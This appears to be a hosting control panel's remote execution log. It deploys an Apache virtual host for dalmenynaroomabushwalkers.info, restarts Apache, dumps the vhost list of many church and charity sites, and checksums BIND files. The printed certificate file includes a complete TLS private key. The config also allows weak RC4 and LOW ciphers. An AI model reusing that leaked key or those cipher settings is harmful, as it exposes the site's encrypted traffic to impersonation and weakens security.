ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-29 10:42:01:
PUT: /tmp/pkp598422
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dalmenynaroomabushwalkers_www_info.conf
TARGET=/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_error.log
SetEnv pkp_uid 47
SetEnv pkp_owner dalmeny
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf= 1'
fi
2025-10-29 10:42:01:
chmod 755 /tmp/pkp598422; /tmp/pkp598422; rm /tmp/pkp598422
2025-10-29 10:42:01:
2025-10-29 10:42:01:
PUT: /tmp/pkp982609
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-29 10:42:01:
chmod 755 /tmp/pkp982609; /tmp/pkp982609; rm /tmp/pkp982609
2025-10-29 10:42:01:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-29 10:42:01: Establishing a connection
2025-10-29 10:42:01:
PUT: /tmp/pkp281363
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-29 10:42:01:
chmod 755 /tmp/pkp281363; /tmp/pkp281363; rm /tmp/pkp281363
2025-10-29 10:42:01:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-29 10:42:01:
PUT: /tmp/pkp487769
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-29 10:42:01:
chmod 755 /tmp/pkp487769; /tmp/pkp487769; rm /tmp/pkp487769
2025-10-29 10:42:01:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf 1571
<VirtualHost *:80>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_error.log
SetEnv pkp_uid 47
SetEnv pkp_owner dalmeny
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dalmenynaroomabushwalkers.info
ServerAlias www.dalmenynaroomabushwalkers.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt
DocumentRoot /var/www/dalmenynaroomabushwalkers_www
<Directory /var/www/dalmenynaroomabushwalkers_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_access.log combined
ErrorLog /var/log/apache2/dalmenynaroomabushwalkers/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-29 10:42:01:
PUT: /tmp/pkp755320
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-29 10:42:01:
chmod 755 /tmp/pkp755320; /tmp/pkp755320; rm /tmp/pkp755320
2025-10-29 10:42:01:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt 4135
40:68:fc:a9:24:55:cf:7b:2b:74:ce:15:84:c5:64:ed
-----BEGIN CERTIFICATE-----
MIIGrjCCBRagAwIBAgIQSFfFAzykHHwGw3t0kz/61TANBgkqhkiG9w0BAQsFADBg
MQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTcwNQYDVQQD
Ey5TZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gQ0EgRFYgUjM2
MB4XDTI1MTAyOTAwMDAwMFoXDTI2MTEyOTIzNTk1OVowKTEnMCUGA1UEAxMeZGFs
bWVueW5hcm9vbWFidXNod2Fsa2Vycy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEApomE2i2oePAZdhPX+jOWyUBVJUFMm3Pyu4Ec9kACeAkofmTi
8uHcwayjBEakNFUhTDhQONsJ54Gyj6ja6/Mnxh0Pk26W06jEuAh5rTNCy8rLS96G
+SkgbNtJ7CjG962ADmt7vB55iuFPldKtcO0fNEQ7tQOcc1RjEWWcqDT2Dna0K2hS
aX8yZ6PkspfvWq/Yo/mBFeNL7Rw0IwjY+IqWjlXWYyFwDCYPYYHTUr1/na1+vNGM
tSI1bhaYQloSTSDydJKtfixH1KmBd3iARBvgJR/B3687aVfJj9FC4BNaxEhcC2ap
XvaIfgTBPMwUIKDr9U6QsyPPQ8AWMJWJfKacxwIDAQABo4IDGTCCAxUwHwYDVR0j
BBgwFoAUaMASFhgOr872h6YyV6NGUV3LBycwHQYDVR0OBBYEFAvtveDvI8Tz3J/U
odFnCqAwiA7sMA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMBMGA1UdJQQM
MAoGCCsGAQUFBwMBMEkGA1UdIARCMEAwNAYLKwYBBAGyMQECAgcwJTAjBggrBgEF
BQcCARYXaHR0cHM6Ly9zZWN0aWdvLmNvbS9DUFMwCAYGZ4EMAQIBMIGEBggrBgEF
BQcBAQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2VjdGlnby5jb20vU2Vj
dGlnb1B1YmxpY1NlcnZlckF1dGhlbnRpY2F0aW9uQ0FEVlIzNi5jcnQwIwYIKwYB
BQUHMAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tME0GA1UdEQRGMESCHmRhbG1l
bnluYXJvb21hYnVzaHdhbGtlcnMuaW5mb4Iid3d3LmRhbG1lbnluYXJvb21hYnVz
aHdhbGtlcnMuaW5mbzCCAX0GCisGAQQB1nkCBAIEggFtBIIBaQFnAHYA2AlVO5RP
ev/IFhlvlE+Fq7D4/F6HVSYPFdEucrtFSxQAAAGaLYwy5AAABAMARzBFAiA3QDjY
f7EmBG0MvFgBlJcc+NfjXu/PYVv8/OXKVBCDiwIhALsFiy1+6ce+UKQr300hIBAC
Ru+1lKiY61dFFvUiNZ15AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eF
hzoAAAGaLYwzoQAABAMARjBEAiB8M7BUe+mhJQ0MERf9VhatL/ze4oH43GULdn5+
AfCKzAIgeV4B4yaLtD1wkidq/0BK/tqsoNlZBQ01l3ChBACp+bcAdgCsqzBwbOvs
hDH0E9L0kV8RHkIkQ7HypoxPPCs7px4CwwAAAZotjDLHAAAEAwBHMEUCIQCakjCT
dA4GzoJ7PDfg3Yg4EL11lliGf5snzmJhI9QRoAIganDcOH7LTcu82dWovWYQBHNx
fjK9AqqjhLYVBdv0wlAwDQYJKoZIhvcNAQELBQADggGBAHpKHtpr8oqC9woMLdyX
air5JFI16wFlswVd6Ei9YEZnRWIulWyA38V4ElnT510VUBvf1hA4v8jrmgHmLd3V
kLj+MTjJCOd6OuIt8vIWSaopuv4ozPC06t2QU5rDg7FaDupbpG59Vhuu4Okoudml
KjNKNGoiCR4PJrCZ3WKH6pAtNgDKCXGeicDJlsx/F3Rj1hPChcFiLTiRYYY/LxjE
08N5YfUm5dt36HTAw1IQjRAb/xBhV3zaZMO855xnVezkV6PNHq2EKXDQtElm1o5v
E3/rQ76zuFLT/7nrpkyHLuEu64JIcaRSpOUa1NOnQxUQoGgYJ92Li/FqApMPzJN9
5ofXDOH02svbwFqYQTnFthwhRnGe3et2lHMasBTyrhyugZK5xUB3x6qo59CIL3TF
4dJDn+EobCB1L7U4QkUGM4lhiqjKd+S2iMRx8gtZuVBkBvnvilUCJNCZaQEJuEEW
V5eUhDVnMs9Esm3ty56x0OnZ0Vh5T5HjgCDoGZnPA/Rw6A==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCmiYTaLah48Bl2
E9f6M5bJQFUlQUybc/K7gRz2QAJ4CSh+ZOLy4dzBrKMERqQ0VSFMOFA42wnngbKP
qNrr8yfGHQ+TbpbTqMS4CHmtM0LLystL3ob5KSBs20nsKMb3rYAOa3u8HnmK4U+V
0q1w7R80RDu1A5xzVGMRZZyoNPYOdrQraFJpfzJno+Syl+9ar9ij+YEV40vtHDQj
CNj4ipaOVdZjIXAMJg9hgdNSvX+drX680Yy1IjVuFphCWhJNIPJ0kq1+LEfUqYF3
eIBEG+AlH8HfrztpV8mP0ULgE1rESFwLZqle9oh+BME8zBQgoOv1TpCzI89DwBYw
lYl8ppzHAgMBAAECggEBAJNIe94ZEy4h6eKrmg8FIQ3Lf4H7Ri0VVk7N2TdPVN+j
+dQOlUgIyJvgeiuF7iL6RwCJrSkbTp8X7TtwMm0KFtr3SJcy7uEyGQhJNpMfCqwB
JdprayNgY/Th23aoeY8COoaGOGAe848HxMLUF+APVdF7pvJnxy2YLCVuoCWC8TnI
ArfMaOaCvMqR4jneKmEN2ggz8jffN8495CmvX7po//gLcUPBXDlW5yH/5IlQ8asn
lacPUAuFT5QplpUwAJo+lHd5nXg+UQwpmG1EpncaWTXtR3TMl7muV2QBUwxTBCbt
5KYOJvTDwfQUyQx8UWDeFcokZN/vIMwgFMeIbl0Z7sECgYEA4ngUef5zYd6khT+C
7Gkh90Mm18IdarZWwA0cMebyKP8dgJsIOoUo/VDdv53OvyJbB3WGA6v5/e6LpxiQ
hpJEyUa9wtFOCbhj0wWGGLhsm9EjLQrjAvLOaar5Bdzxa7kaCWUein74cbQcnBPE
Tg111FMBVUxh1kFK8QXa5qqFZFMCgYEAvEDPwtngBTIdhwsOES/ZKj86f9zdhSSV
h2pk4/FL2N3KFcI4qDY8JBTrtPgUZ88PU4+jfMMZnB/+FfO7PrnEq0E0HzWz5+sK
DS63xIewLylPGXf0n5zZFcBXPEfU7/QrRKzFXCr197ruMzfGzXjmOxvqBDmMA2tB
qJQS+2p01z0CgYAA0MXiGpR3ycF16WCjUU2aAlfldwF8HOP7FREA7P/6PdDxYZ2J
+GjJYL0rr3nLHmiNglLVOI1R6MX/+AqtMWGmB+cvCGnrhwp0/BQbiq55cStbQirH
G/C6WK9E4iLMbII3fnG5tfNXFXr05O1UCqBd/16F3ByOFPYcIBVFt197mQKBgAWt
DpaZax+8+xbvRmVORAX6EhF431T8XWXP12roA5luVoGBcaPgvr93wgOa10KqA5RJ
aGyClWsXq9mNl7+0ajGfraqjO+FqPMtY9UF/tdg2LqRd8Yo+eG0nd3nh0JHLkuJn
MywsP25QvI3eyKe5VXfCx7OI6KfRvBERJeFevFchAoGABuc0orjfrODGka44NsAy
FOCY4vl7nQPuA3UZ2gineksMJawgBK0rgchDRArCxarRSk996WwgwBctcYufaF2p
lruO1v8yVZ255vJwDvNK4R1ZqhA61qQeUCaTOCYRa9X27OkW5nRUHZRTWZJV2ApU
Bcj8kBb51bLUKz5D/IMOUw8=
-----END PRIVATE KEY-----
2025-10-29 16:45:21: Establishing a connection
2025-10-29 16:45:33: Establishing a connection
2025-10-29 16:45:34:
PUT: /tmp/pkp998838
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-29 16:45:34:
runuser -l bind -s /bin/bash -c '/tmp/pkp998838; rm /tmp/pkp998838'
2025-10-29 16:45:34:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
